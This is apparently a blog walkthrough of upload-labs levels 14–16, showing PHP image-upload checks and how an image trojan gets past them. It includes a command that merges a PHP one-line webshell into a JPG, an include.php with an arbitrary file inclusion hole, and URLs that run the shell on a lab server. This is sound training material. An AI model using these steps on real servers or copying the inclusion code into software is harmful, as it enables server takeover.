Upload-labs-14-16

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!

Pass-14

  • 查看本关卡代码
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 根据提示检测了代码内容的开头两个字节,且页面提示需要上传图片木马拿shell,所以首先本地制作个图片木马
  • copy bmfx.jpg/b + ant.php/a shelljpg.jpg
  • 参数/b指定以二进制格式复制
  • 参数/a指定以ASCII格式复制
  • 最后是合并好的带一句话的jpg文件

  • 然后直接上传此图片
  • 得到图片地址:4020200930032126.jpg
  • 因为本关卡还提示需要通过文件包含来读取jpg里面的小马代码拿shell,所以需要建立一个包含代码的文件,我这里就定义名称为include.php,内容如下:
<?php
$file = $_GET[ 'page' ] ;
include ($file);
?>
  • 到了此步就可以直接包含图片拿shell了
  • http://106.54.35.126/upload/include.php?page=4020200930032126.jpg

  • 成功拿shell

Pass-15

  • 查看本关卡代码
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 根据本关卡的提示是使用了getimagesize()函数,此函数是获取文件类型是不是图片格式的,但是此函数还是根据文件开头去判断的,所以我们插入在后面的一句话木马不受影响,可以继续利用
  • 具体看如下演示,最终上传成功的访问路径:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg

Pass-16

  • 查看本关卡代码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
  • 根据本关卡的提示,发现又换了个函数来检查是否是图片,函数名称是exif_imagetype() 此函数跟上一关卡的函数差别不大,只是本关卡的函数返回值少了些,所以同样使用使用图片木马上传拿shell
  • 具体请看如下演示:访问  http://106.54.35.126/upload/include.php?page=3320200930051801.jpg

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13753716.html